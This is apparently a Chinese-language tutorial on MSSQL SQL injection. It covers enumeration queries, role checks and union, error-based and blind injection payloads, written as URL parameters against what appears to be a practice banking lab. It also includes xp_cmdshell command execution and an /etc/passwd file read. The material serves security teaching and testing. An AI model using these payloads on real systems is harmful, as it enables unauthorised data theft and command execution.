一、SQLsever知識點了解
1.1、系統變量
版本號:@@version
用戶名:USER、SYSTEM_USER
庫名:DB_NAME()
? ? ? ? ? ?SELECT name FROM master..sysdatabases
表名:SELECT name FROM sysobjects WHERE xtype='U'
字段名:SELECT name FROM syscolumns WHERE id=OBJECT_ID('table')
1.2、TOP
MSSQL中的TOP關鍵字相當于MySQL中的limit
//MSSQL
SELECT TOP 1 column FROM table --返回第一行數據
//MySQL
SELECT column FROM table LIMIT 1 --返回第一行數據
1.3、字符串拼接
MSSQL中的"+"的作用相當于MySQL中的concat()函數
//MSSQL
'a' + CAST(column AS VARCHAR)
//MySQL
CONCAT('a', column)
1.4、延時
MSSQL中的?WAITFOR DELAY?的作用相當于MySQL中的sleep()函數
//MSSQL
IF(1=1) WAITFOR DELAY '0:0:5'
//MySQL
IF(1=1, SLEEP(5), 0)
1.5、其他注意點
單行注釋:MSSQL 中 --
后必須加空格,否則有時解析失敗
堆疊語句:MSSQL默認支持堆疊查詢
執行命令/讀取文件:
????????MSSQL 注入可配合擴展組件(如 xp_cmdshell
)執行系統命令:
????????????????EXEC master..xp_cmdshell 'whoami'
????????MySQL 通常通過 LOAD_FILE('/etc/passwd')
等方式讀取服務器文件
二、SQLsever信息查詢
2.1、判斷數據庫類型
/* sysobjects 為 MSSQL 數據庫中獨有的數據表,如果頁面返回正常即可表示為 MSSQL 數據庫 */
?id=1 and (select count(*) from sysobjects)>0 --
/* 通過 MSSQL 數據庫中特有的延時函數進行判斷 */
?id=1;WAITFOR DELAY '00:00:10'; --
2.2、基本信息
//查詢版本信息
SELECT @@VERSION;
//查詢當前用戶名
SELECT SYSTEM_USER;
SELECT USER_NAME();
//查詢數據庫名
SELECT DB_NAME();
//查詢當前登錄的主機名和登錄名
SELECT HOST_NAME(), SUSER_NAME();
2.3、庫
SELECT name FROM sys.databases;
2.4、表
//這將返回當前數據庫中的所有用戶表(sys.tables)或者基于 information_schema 的標準查詢
SELECT name FROM sys.tables;
or
SELECT name FROM information_schema.tables;
or
SELECT name FROM sysobjects WHERE xtype='U'; --只有表名
2.5、列
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'YourTableName';
or
SELECT name FROM syscolumns WHERE id=OBJECT_ID('table');
2.5、判斷當前服務器級別角色(Server-level roles)
SQL Server 2019 和以前的版本提供了 9 個不同級別的服務器級角色以幫助用戶管理服務器上的權限:
?id=1 and 1=(select is_srvrolemember('sysadmin'))--
?id=1 and 1=(select is_srvrolemember('serveradmin'))--
?id=1 and 1=(select is_srvrolemember('securityadmin'))--
?id=1 and 1=(select is_srvrolemember('processadmin'))--
?id=1 and 1=(select is_srvrolemember('setupadmin'))--
?id=1 and 1=(select is_srvrolemember('bulkadmin'))--
?id=1 and 1=(select is_srvrolemember('diskadmin'))--
?id=1 and 1=(select is_srvrolemember('dbcreator'))--
?id=1 and 1=(select is_srvrolemember('public'))--
2.6、判斷當前數據庫級別角色(Database-level roles)
數據庫級角色的權限作用域為數據庫范圍,下表顯示了固定數據庫角色及其能夠執行的操作:
?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--
?2.7、服務器級別角色和數據庫級別角色區別
對比項 | 服務器級別角色 | 數據庫級別角色 |
---|---|---|
作用范圍 | 整個 SQL Server 實例 | 單個數據庫 |
控制權限 | 實例級權限:登錄管理、數據庫創建、配置等 | 數據操作權限:表訪問、存儲過程執行等 |
示例角色 | sysadmin ,?serveradmin ,?securityadmin ?等 | db_owner ,?db_datareader ,?db_datawriter ?等 |
存儲在哪 | sys.server_principals ,?sys.server_role_members | sys.database_principals ,?sys.database_role_members |
授權對象 | 登錄(Login) | 用戶(User) |
授權語法 | ALTER SERVER ROLE ... | ALTER ROLE ... |
注入測試中關注點 | 能否提權、開啟 xp_cmdshell、讀寫文件等 | 能否讀取數據、修改數據、執行存儲過程等 |
三、MSSQL注入手段
3.1、聯合注入
方法與一般的 SQL 聯合注入相同。值得注意的是,MSSQL 聯合注入一般不使用數字占位,而是
NULL
,因為使用數字占位可能會發生隱式轉換。
?id=1 union select NULL, NULL ,NULL, NULL, NULL from fsb_users--
?id=1 union select NULL, user_name, NULL, NULL, NULL from fsb_users--
?
3.2、報錯注入
MSSQL 數據庫是強類型語言數據庫,當類型不一致時將會報錯,配合子查詢即可實現報錯注入。
//表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--
//表中的字段名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--
//具體數據
?id=1 and 1=(select top 1 branch from fsb_accounts);--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--
3.3、布爾盲注
方法與一般的 SQL 布爾盲注相同,使用 ASCII 碼逐個比較字符,將返回為 True 的結果輸出即可。
?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--
3.4、時間盲注
MSSQL 數據庫中的
WAITFOR
延時存儲過程可以用來時間盲注,當語句執行成功,頁面延時返回即為 True。
?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'--